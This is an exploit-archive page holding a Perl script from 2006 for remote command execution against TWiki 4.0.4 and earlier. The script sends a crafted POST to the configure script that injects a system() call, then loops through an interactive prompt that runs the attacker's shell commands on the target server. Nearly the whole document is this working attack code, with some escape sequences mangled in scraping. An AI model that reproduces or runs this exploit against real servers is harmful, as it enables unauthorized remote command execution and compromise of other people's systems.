[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : TWiki <= 4.0.4 (configure) Remote Command Execution Exploit
# Published : 2006-08-07
# Author : Javier Olascoaga
# Previous Title : ZoneX 1.0.3 Publishers Gold Edition Remote File Inclusion Vulnerability
# Next Title : SendCard <= 3.4.0 Unauthorized Administrative Access Exploit
#!/usr/bin/perl
# Tue Aug 1 13:18:12 CEST 2006 jolascoaga@514.es
use strict;
use LWP::UserAgent;
use LWP::Simple;
use HTTP::Request;
use HTTP::Response;
use Getopt::Long;
$| = 1; # couse 1 is bigger than 0
my ($proxy,$proxy_user,$proxy_pass);
my ($host,$debug,$dir, $command);
my $options = GetOptions (
'host=s' => $host,
'dir=s' => $dir,
'proxy=s' => $proxy,
'proxy_user=s' => $proxy_user,
'proxy_pass=s' => $proxy_pass,
'debug' => $debug);
&help unless ($host); # you dont need root
$dir = "/twiki/bin/configure" unless($dir); # ... we have a template for this
print "$host - $dirn";
while () {
print "tinkiwinki> "; # phf haquerz style
while(<STDIN>) {
$command=$_;
chomp($command);
last;
}
&send($command);
}
sub send {
my ($cmd) = @_;
my $ok = 0;
my $socket;
LWP::Debug::level('+') if $debug; # but remember this is crap :D
my $ua = new LWP::UserAgent();
$ua->agent("safari/zoo");
if ($host !~ /^http/) {
$host = sprintf ("http://%s", $host); # CRAP CRAP CRAP
}
my $req = HTTP::Request->new(POST => $host.$dir);
$req->content('action=update&TYPEOF%3A%29%3Bsystem%28%27'.$cmd.'%27%29%3Bmy+@a%3D%28=anything&submit=Submit');
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
print $req->as_string() if $debug;
my $res = $ua->request($req);
my $html = $res->content();
$html =~ m/<body.*?>(.*?)<div/si; # <pus>
print $1."n";
if ($debug) {
open (DEBG, ">wikidebug");
print DEBG $html;
}
}
sub help {
print "Syntax: ./$0 --host=url --dir=/horde [options]n";
print "t--proxy (http), --proxy_user, --proxy_passn";
print "t--debugn";
print "the default directory is /twiki/bin/configuren";
print "nExamplen";
print "bash# $0 --host=http(s)://www.server.com/n";
print "n";
exit(1);
}
exit 0;
# <END OF EXPLOIT>
# www.Syue.com [2006-08-07]